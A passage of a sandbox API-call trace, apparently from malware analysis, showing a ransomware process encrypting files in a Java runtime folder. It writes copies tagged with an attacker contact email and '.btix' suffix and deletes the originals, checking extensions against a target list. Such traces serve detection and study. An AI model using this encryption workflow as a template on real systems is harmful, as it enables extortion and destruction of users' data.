lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.806] SetEndOfFile (hFile=0x338) returned 1 [0147.807] CloseHandle (hObject=0x338) returned 1 [0147.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.807] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.807] lstrlenW (lpString=".doc") returned 4 [0147.807] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.807] lstrlenW (lpString=".docx") returned 5 [0147.808] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0147.808] lstrlenW (lpString=".pdf") returned 4 [0147.808] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString=".xls") returned 4 [0147.808] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString=".xlsx") returned 5 [0147.808] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0147.808] lstrlenW (lpString=".ppt") returned 4 [0147.808] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString=".zip") returned 4 [0147.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString=".rar") returned 4 [0147.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString=".bz2") returned 4 [0147.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.808] lstrlenW (lpString=".7z") returned 3 [0147.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString=".dbf") returned 4 [0147.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString=".1cd") returned 4 [0147.808] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString=".jpg") returned 4 [0147.808] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.808] lstrlenW (lpString=".doc") returned 4 [0147.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.808] lstrlenW (lpString=".docx") returned 5 [0147.808] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0147.808] lstrlenW (lpString=".pdf") returned 4 [0147.808] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.809] lstrlenW (lpString=".xls") returned 4 [0147.809] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.809] lstrlenW (lpString=".xlsx") returned 5 [0147.809] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0147.809] lstrlenW (lpString=".ppt") returned 4 [0147.809] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.809] lstrlenW (lpString=".zip") returned 4 [0147.809] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.809] lstrlenW (lpString=".rar") returned 4 [0147.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.809] lstrlenW (lpString=".bz2") returned 4 [0147.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.809] lstrlenW (lpString=".7z") returned 3 [0147.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.809] lstrlenW (lpString=".dbf") returned 4 [0147.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.809] lstrlenW (lpString=".1cd") returned 4 [0147.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0147.809] lstrlenW (lpString=".jpg") returned 4 [0147.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.809] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.809] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23 [0147.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.810] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=142400) returned 1 [0147.810] CloseHandle (hObject=0x338) returned 1 [0147.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0147.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.810] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.810] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.267] GetLastError () returned 0x0 [0148.267] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x22c40, lpOverlapped=0x0) returned 1 [0148.277] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x22c50, lpOverlapped=0x0) returned 1 [0148.280] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.280] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x102, lpOverlapped=0x0) returned 1 [0148.280] SetEndOfFile (hFile=0x35c) returned 1 [0148.280] CloseHandle (hObject=0x35c) returned 1 [0148.280] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.280] SetEndOfFile (hFile=0x338) returned 1 [0148.284] CloseHandle (hObject=0x338) returned 1 [0148.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.284] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0148.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.284] lstrlenW (lpString=".doc") returned 4 [0148.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.284] lstrlenW (lpString=".docx") returned 5 [0148.284] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0148.284] lstrlenW (lpString=".pdf") returned 4 [0148.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.284] lstrlenW (lpString=".xls") returned 4 [0148.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.284] lstrlenW (lpString=".xlsx") returned 5 [0148.284] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0148.285] lstrlenW (lpString=".ppt") returned 4 [0148.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString=".zip") returned 4 [0148.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString=".rar") returned 4 [0148.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString=".bz2") returned 4 [0148.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.285] lstrlenW (lpString=".7z") returned 3 [0148.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString=".dbf") returned 4 [0148.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString=".1cd") returned 4 [0148.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString=".jpg") returned 4 [0148.285] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.285] lstrlenW (lpString=".doc") returned 4 [0148.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString=".docx") returned 5 [0148.285] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0148.285] lstrlenW (lpString=".pdf") returned 4 [0148.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString=".xls") returned 4 [0148.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString=".xlsx") returned 5 [0148.285] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0148.285] lstrlenW (lpString=".ppt") returned 4 [0148.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.286] lstrlenW (lpString=".zip") returned 4 [0148.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.286] lstrlenW (lpString=".rar") returned 4 [0148.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.286] lstrlenW (lpString=".bz2") returned 4 [0148.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.286] lstrlenW (lpString=".7z") returned 3 [0148.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.286] lstrlenW (lpString=".dbf") returned 4 [0148.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.286] lstrlenW (lpString=".1cd") returned 4 [0148.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0148.286] lstrlenW (lpString=".jpg") returned 4 [0148.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.286] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0148.286] lstrlenW (lpString="javacpl.exe") returned 11 [0148.286] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.287] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=80448) returned 1 [0148.287] CloseHandle (hObject=0x338) returned 1 [0148.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0148.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.287] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.287] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.287] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.288] GetLastError () returned 0x0 [0148.288] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x13a40, lpOverlapped=0x0) returned 1 [0148.291] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x13a50, lpOverlapped=0x0) returned 1 [0148.293] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.293] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1 [0148.293] SetEndOfFile (hFile=0x35c) returned 1 [0148.293] CloseHandle (hObject=0x35c) returned 1 [0148.293] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.293] SetEndOfFile (hFile=0x338) returned 1 [0148.294] CloseHandle (hObject=0x338) returned 1 [0148.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.295] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.301] lstrlenW (lpString=".doc") returned 4 [0148.301] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.301] lstrlenW (lpString=".docx") returned 5 [0148.301] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0148.301] lstrlenW (lpString=".pdf") returned 4 [0148.301] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.301] lstrlenW (lpString=".xls") returned 4 [0148.301] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.301] lstrlenW (lpString=".xlsx") returned 5 [0148.301] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0148.301] lstrlenW (lpString=".ppt") returned 4 [0148.301] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.301] lstrlenW (lpString=".zip") returned 4 [0148.302] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.302] lstrlenW (lpString=".rar") returned 4 [0148.302] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.302] lstrlenW (lpString=".bz2") returned 4 [0148.302] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.302] lstrlenW (lpString=".7z") returned 3 [0148.302] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.302] lstrlenW (lpString=".dbf") returned 4 [0148.302] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.302] lstrlenW (lpString=".1cd") returned 4 [0148.302] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.302] lstrlenW (lpString=".jpg") returned 4 [0148.302] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.302] lstrlenW (lpString=".doc") returned 4 [0148.302] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0148.302] lstrlenW (lpString=".docx") returned 5 [0148.302] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0148.302] lstrlenW (lpString=".pdf") returned 4 [0148.302] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0148.302] lstrlenW (lpString=".xls") returned 4 [0148.302] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0148.302] lstrlenW (lpString=".xlsx") returned 5 [0148.303] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0148.303] lstrlenW (lpString=".ppt") returned 4 [0148.303] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0148.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.303] lstrlenW (lpString=".zip") returned 4 [0148.303] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0148.303] lstrlenW (lpString=".rar") returned 4 [0148.303] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0148.303] lstrlenW (lpString=".bz2") returned 4 [0148.303] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0148.303] lstrlenW (lpString=".7z") returned 3 [0148.303] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0148.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.303] lstrlenW (lpString=".dbf") returned 4 [0148.303] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0148.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.303] lstrlenW (lpString=".1cd") returned 4 [0148.303] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0148.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0148.303] lstrlenW (lpString=".jpg") returned 4 [0148.303] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0148.303] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.303] lstrlenW (lpString="javafx_font.dll") returned 15 [0148.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.304] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69184) returned 1 [0148.304] CloseHandle (hObject=0x338) returned 1 [0148.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0148.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0148.304] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.304] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.305] GetLastError () returned 0x0 [0148.305] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x10e40, lpOverlapped=0x0) returned 1 [0148.308] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x10e50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x10e50, lpOverlapped=0x0) returned 1 [0148.310] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.310] WriteFile (in: hFile=0x35c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf2, lpOverlapped=0x0) returned 1 [0148.310] SetEndOfFile (hFile=0x35c) returned 1 [0148.310] CloseHandle (hObject=0x35c) returned 1 [0148.310] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.310] SetEndOfFile (hFile=0x338) returned 1 [0148.311] CloseHandle (hObject=0x338) returned 1 [0148.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.311] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 1 [0148.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll") returned 54 [0148.312] lstrlenW (lpString=".doc") returned 4 [0148.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".docx") returned 5 [0148.312] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.312] lstrlenW (lpString=".pdf") returned 4 [0148.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".xls") returned 4 [0148.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".xlsx") returned 5 [0148.312] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.312] lstrlenW (lpString=".ppt") returned 4 [0148.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString="C:\\Program 